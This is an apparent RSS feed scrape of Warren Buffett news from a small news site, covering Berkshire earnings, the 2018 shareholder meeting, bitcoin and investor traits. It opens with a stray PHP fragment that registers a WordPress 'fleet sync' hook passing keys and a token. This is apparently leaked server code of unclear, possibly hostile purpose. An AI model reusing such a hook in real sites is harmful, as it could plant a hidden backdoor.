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_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Buffett – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Tue, 06 Sep 2022 11:50:26 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.8 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png Buffett – Brief News https://briefnews.eu 32 32 Billionaire David Rubenstein explains why he admires Warren Buffett – and lays out the traits shared by the world’s best investors https://briefnews.eu/billionaire-david-rubenstein-explains-why-he-admires-warren-buffett-and-lays-out-the-traits-shared-by-the-worlds-best-investors/ https://briefnews.eu/billionaire-david-rubenstein-explains-why-he-admires-warren-buffett-and-lays-out-the-traits-shared-by-the-worlds-best-investors/#respond Tue, 06 Sep 2022 11:50:26 +0000 https://briefnews.eu/billionaire-david-rubenstein-explains-why-he-admires-warren-buffett-and-lays-out-the-traits-shared-by-the-worlds-best-investors/ warren buffett
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  • Warren Buffett's intellect, focus, and passion for investing are admirable, David Rubenstein said.
  • The Carlyle Group cofounder interviewed several of the world's elite investors for his upcoming book.
  • The billionaire investor found them to be surprisingly humble, contrarian thinkers, and workaholics.

David Rubenstein admires Warren Buffett's intellect, focus, and love of investing for its own sake instead of the luxury lifestyle it can fund, Fox Business reported this week.

"He has pretty good instincts and intuition," the billionaire investor and Carlyle Group cofounder said at the National Book Festival on Saturday, according to Fox.

Rubenstein has spent the last year studying and interviewing top investors such as Ray Dalio, Seth Klarman, and Stanley Druckenmiller for his upcoming book, "How to Invest: Masters on the Craft."

His comments speak to Buffett's business acumen, how the Berkshire Hathaway CEO makes concentrated bets and rarely strays outside his "circle of competence," and Buffett's joke that he "tap dances to work" because he enjoys his job so much.

Meanwhile, Buffett's instincts and intuition have helped him to avoid disasters such as the dot-com crash, pounce on investments when the price is right, and strike fast and simple deals with people he's determined are trustworthy.

Rubenstein touched on whether Buffett's talents are best put to use as an investor in a recent New York Times interview.

"Would the world be better off if Warren Buffett was a schoolteacher?" he asked. "I don't know," he continued, adding that perhaps investors are hugely overpaid relative to schoolteachers.

The private equity tycoon detailed the traits shared by some of the world's best investors.

"People would be surprised that these individuals are relatively humble," Rubenstein told the newspaper. "They have a certain amount of humility because they realize the markets can make you and break you."

Rubenstein also noted that elite investors have gotten lucky in some ways, but suggested that prospering over several decades requires more than luck. Moreover, he argued they weren't born with their investing prowess, they developed it over time.

Carlyle's co-chairman noted in a CNBC interview that great investors tend to come from middle-class families, they do well in school and have a natural affinity for math, and they love to read. They also enjoy being in control, making final decisions, and going against conventional wisdom, he said.

"They're workaholics," Rubenstein said. "These people love what they're doing, and if they weren't making the enormous amounts of money that they're making, they'd still do it."

Top investors are adept at recognizing when they've made a mistake and pulling their money out, moving on from failures, and scooping up bargains when markets crash and thei peers panic, Rubenstein told CNN.

It's easy to see how Buffett fits the profile that Rubenstein laid out. The Berkshire chief has underscored how lucky he was to be born in a country that rewarded his skills, and to live so long. At 92 years old, he's had more time to compound his wealth than most people.

Moreover, Buffett's father was a banker and state representative, the investor is a whiz with numbers and reads 500 pages a day, and he controls Berkshire and decides how to allocate its capital.

Buffett has also owned up to mistakes, such as selling Apple and Costco stock in the fall of 2020. He invested in BYD, Chevron, and Apple after being burnt by PetroChina, ConocoPhillips, and IBM. Also, one of his best-known pieces of advice is to act contrarian and "be greedy when others are fearful."

Read more: 'Richer, Wiser, Happier' author William Green interviewed dozens of the world's best investors. He breaks down the 6 key traits they share, and gives examples of them in action.

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  • Berkshire Hathaway CEO Warren Buffett has long decried Wall Street’s habit of providing quarterly earnings guidance.
  • But last year, S&P 500 companies issued forward guidance at the highest rate since 2008, according to a report by S&P Global Market Intelligence.
  • Executives have made fewer forecasts this year amid more calls to do away with the practice.

Warren Buffett has long said that short-termism is bad for companies, but many didn’t seem to concur last year.

Companies on the S&P 500 issued quarterly earnings guidance 444 times in 2017, the most since 2008, according to a report by S&P Global Market Intelligence released on Thursday.

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  • Berkshire Hathaway reported a 67% jump in second-quarter profit, boosted by a growing economy.
  • Underwriting profit at the Geico auto insurance unit more than quintupled.
  • Berkshire ended June with $ 111.1 billion of cash and equivalents, some of which Buffett could use to repurchase stock under a new policy giving him and Munger more freedom to buy back stock they considered undervalued.

(Reuters) – Berkshire Hathaway Inc, the conglomerate run by billionaire Warren Buffett, on Saturday said quarterly operating profit rose 67 percent, as insurance underwriting rebounded and several business units benefited from a growing economy.

Results easily topped analyst forecasts. Underwriting profit at the Geico auto insurance unit more than quintupled, the BNSF railroad benefited from demand to ship consumer products, grain, petroleum and steel, and the Berkshire Hathaway Automotive car dealership financed more vehicle purchases.

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]]> https://briefnews.eu/berkshire-hathaway-profit-surges-as-economy-gives-buffett-a-boost/feed/ 0 A crypto miner trolls Warren Buffett with bitcoin billboards outside his office (BRKB) https://briefnews.eu/a-crypto-miner-trolls-warren-buffett-with-bitcoin-billboards-outside-his-office-brkb/ https://briefnews.eu/a-crypto-miner-trolls-warren-buffett-with-bitcoin-billboards-outside-his-office-brkb/#respond Fri, 18 May 2018 12:42:23 +0000 http://briefnews.eu/a-crypto-miner-trolls-warren-buffett-with-bitcoin-billboards-outside-his-office-brkb/ warren buffettBill Pugliano/Stringer/Getty Images

A cryptocurrency-mining company claims to be trolling billionaire investor Warren Buffett with billboards near his Omaha office.

Marco Krohn, co-founder of Genesis Mining, tweeted photos of the signs that allude to Buffett’s admission that he was wrong about investing in mega-cap tech giants Amazon and Google in their early days. “Maybe you’re wrong about Bitcoin?” the signs taunt.

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(Reuters) — Billionaire investor Warren Buffett on Monday said buyers of bitcoin, which he has characterized as “rat poison squared,” thrive on the hope they’ll find other people who will pay more for it. Likening bitcoin demand to the tulip bulb mania in 17th century Holland, Buffett, the chairman and chief executive of Berkshire Hathaway In…Read More

]]> https://briefnews.eu/warren-buffett-bashes-bitcoin-says-its-surge-is-due-to-the-cryptocurrencys-mystique/feed/ 0 Warren Buffett wants to buy even more Apple shares https://briefnews.eu/warren-buffett-wants-to-buy-even-more-apple-shares/ https://briefnews.eu/warren-buffett-wants-to-buy-even-more-apple-shares/#respond Sun, 06 May 2018 07:11:58 +0000 http://briefnews.eu/warren-buffett-wants-to-buy-even-more-apple-shares/ Warren Buffett, CEO of Berkshire Hathaway Inc, talks to a reporter in the exhibit hall at the company's annual meeting in Omaha, Nebraska, U.S., May 5, 2018.

Billionaire Warren Buffett has been buying a boatload of Apple shares and on Saturday suggested he would buy even more shares at the right price.

At Berkshire Hathaway’s annual shareholder meeting, Buffett credited Apple with developing “extremely sticky” products to which consumers become attached and endorsed Apple’s decision to buy back its own stock, saying it was the technology company’s most productive use of cash.

“We would love to see Apple go down in price,” Buffett said. Berkshire is now Apple’s third largest shareholder, behind Vanguard Group and BlackRock Inc.

“I’m delighted to see them repurchasing shares,” Buffett said, just two days after he revealed having bought 75 million additional Apple shares, and four days after Apple said it may repurchase $100 billion of stock. At the end of 2017, Berkshire had owned 165.3 million shares.

“I love the idea of having our 5 percent, or whatever it is, maybe grow to 6 or 7 percent without our laying out a dime.”

And Buffett described it as a mistake that he never thought Alphabet Inc’s Google and Amazon.com Inc made sense as investments for Berkshire.

Buffett, 87, and his longtime partner and fellow billionaire Charlie Munger, 94, also took pointed questions on China, Wells Fargo & Co, guns, healthcare and their investment choices from shareholders, journalists and analysts at the more-than-six-hour meeting in Omaha, Nebraska.

The questions also elicited views on politics from the “Oracle of Omaha” and Munger.

Buffett said it was unlikely that the United States and China would come to loggerheads on trade and believed the countries would avoid doing “something extremely foolish.”

“The United States and China are going to be the two superpowers of the world, economically and in other ways, for a long, long, long time,” Buffett said, and that any tensions should not jeopardize the win-win benefits from trade.

“It is just too big and too obvious … that the benefits are huge and the world is dependent on it in a major way for its progress, that two intelligent countries (would) do something extremely foolish,” he said. “We both may do things that are mildly foolish from time to time.”

The Trump administration has drawn a hard line in trade talks with Beijing, demanding a $200 billion cut in the Chinese trade surplus with the United States, sharply lower tariffs and advanced technology subsidies, people familiar with the talks said on Friday.

Buffett suggested U.S. President Donald Trump should be an “educator-in-chief” on the invisible benefits of trade.

Munger, meanwhile, answered a question on steel tariffs imposed by the White House by acknowledging that U.S. producers are hurting.

“Even Donald Trump can be right on some of this stuff,” he said.

Asked why Buffett was willing to do business with gun makers, he retorted, “I do not believe in imposing my political opinions on the activities of our businesses.”

The billionaire investor said U.S. corporate tax cuts were good for shareholders but cautioned that the long-term effects of economic choices could be hard to gauge.

And Buffett predicted “bad endings” for cryptocurrencies, such as bitcoin, and said long-term U.S. government bonds were a terrible investment because inflation would consume their returns.

Cardinal Sin

Buffett defended Wells Fargo and its chief executive, Tim Sloan, when asked when Berkshire would ditch the bank, one of its largest common stock holdings. Many shareholders applauded the question.

Buffett said the bank had committed the “cardinal sin” of incentivizing employees into “kind of crazy conduct.” U.S. regulators imposed $1 billion of fines last month over lending abuses.

But he maintained that the bank was not “inferior,” as an investment or morally, to its main rivals.

Berkshire owned $25.2 billion of Wells Fargo stock as of March 31, down 14 percent from year end as a series of scandals weighed on the bank’s reputation.

Wells Fargo investors last week gave strong backing to the bank’s directors and executives on Tuesday, indicating confidence in its overhauled leadership to rebound.

Buffett addressed his alliance with another banker, JPMorgan Chase & Co’s Jamie Dimon, and Amazon’s Jeff Bezos to tackle healthcare. Buffett said U.S. healthcare costs are a tapeworm on the economy, and he said the venture partners expect to name a chief executive within a couple months.

Cash Stockpile

Buffett faces a challenge investing Berkshire’s more than $108 billion of cash and equivalents, including for acquisitions, saying his “phone is not ringing off the hook with good deals.”

Shortly before the meeting, Berkshire ended its more than year-long stretch of falling operating profit, while a new accounting rule caused the conglomerate chaired by Warren Buffett to suffer an overall net loss. Buffett said the net results were not representative of the business.

The accounting change required Berkshire to report unrealized losses in its equity portfolio, which totaled $170.5 billion at year end, regardless of whether it planned to sell those stocks.

Berkshire’s net loss was $1.14 billion, compared with profit of $4.06 billion a year earlier.

But operating profit, which excludes investment and derivative gains and losses, rose 49 percent to a record $5.29 billion, or about $3,215 per Class A share, higher than the $3,116 per share analysts had expected, according to Thomson Reuters I/B/E/S.

Giddy Shareholders

Shareholders have been enthusiastic about Berkshire, which sent out slightly more tickets to this year’s extravaganza than in 2015, when an estimated 42,000 celebrated Buffett’s 50th year at the helm. An even larger audience likely watched online via Yahoo Finance.

Outside the convention center, Berkshire shareholders lined up for prime seats in the middle of the night.

William Robertson, a Scotland native who fights fires and does forestry work in Switzerland, said he lined up at 11:30 p.m. Friday, 7-1/2 hours before doors opened. This year’s meeting is his third.

“It gets me first place in the queue, I think when people go to so much effort it shows Warren how important he is for us,” Robertson said.

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  • Warren Buffett, Berkshire Hathaway‘s CEO, said on Saturday that his personal views on gun control do not reflect the company’s thinking. 
  • “I do not believe in imposing my political opinions on the activities of our businesses,” Buffett told shareholders at the annual meeting. 
  • About two weeks after the Parkland, Florida high school shooting, Buffett said it would be “ridiculous” for Berkshire not to do business with gunmakers. 

Berkshire Hathaway CEO Warren Buffett defended his earlier remark that it would be “ridiculous” for the company not do business with gun manufacturers. 

Buffett was speaking on Saturday at Berkshire Hathaway’s shareholder meeting. CNBC anchor Andrew Ross Sorkin relayed a question about Buffett’s comments, made about two weeks after the fatal February 14 shooting at Marjory Stoneman Douglas High School in Parkland, Florida. According to the questioner, that Berkshire would associate itself with any company as long as it was not illegal seemed at odds with everything Buffett stood for. 

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  • Billionaire investor Warren Buffett has decided to retire from the Kraft Heinz board.
  • Buffett, 87, has shed many of his non-Berkshire responsibilities in the last few years.

Kraft Heinz said on Friday billionaire investor Warren Buffett has decided to retire from the company’s board following the end of his term to reduce travel commitments.

Buffett, 87, has shed many of his non-Berkshire responsibilities in the last few years and, last month, gave Abel and Ajit Jain greater oversight of Berkshire’s operating businesses.

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  • Warren Buffett’s firm Berkshire Hathaway is sitting on a record amount of cash.
  • UBS speculates that the company could make an acquisition exceeding $ 160 billion this year, perhaps in the utilities sector.

Berkshire Hathaway has never had this much cash, so naturally people have wide-ranging ideas for how the Warren Buffett-led juggernaut might use it.

UBS, for one, thinks the company should make a splashy acquisition — one that could exceed a whopping $ 160 billion. The bank arrives at that figure by factoring in the record $ 109 billion cash Berkshire has on hand, and combining it with the company’s strong free cash flow.

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The grandson of the first Saudi king, who has been labelled the “Arabian Warren Buffett,” owns the renowned Kingdom Holding Company. He was arrested in November last year during a large-scale Saudi corruption crackdown. Dozens of Saudi princes and other top government officials were detained following the creation of new anti-corruption committee chaired by Saudi strongman, Crown Prince Mohammed bin Salman.

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“He offered a certain figure but it doesn’t meet the figure required from him, and the attorney general hasn’t approved it,” a senior Saudi official, whose name was not disclosed under government briefing rules, was cited by Reuters on Sunday.

Another source earlier told Reuters that Alwaleed bin Talal wanted to make a “donation” to the government from his assets. The proposal was reportedly dismissed.

Saudi officials demanded the 62-year-old billionaire pay up to $ 6 billion for freedom, according to Wall Street Journal. The report added that the prince offered a large piece of his Riyadh-based company instead of giving up around a third of his $ 18 billion fortune.

Earlier, the world’s 64th richest man was reportedly moved to Saudi Arabia’s largest maximum-security facility, Al-Hayer, from the Riyadh Ritz Carlton Hotel, where the arrested royals are allegedly kept. 

Prince Alwaleed bin Talal is considered an unofficial public face of the Saudi kingdom’s finance industry in the West, frequently giving media interviews. In October 2017 he appeared on CNBC’s Squawk Box program and expressed serious doubts about the future of the bitcoin cryptocurrency. Apart from his Saudi business, Alwaleed bin Talal holds major stakes in US companies including Citigroup, Apple and Twitter.

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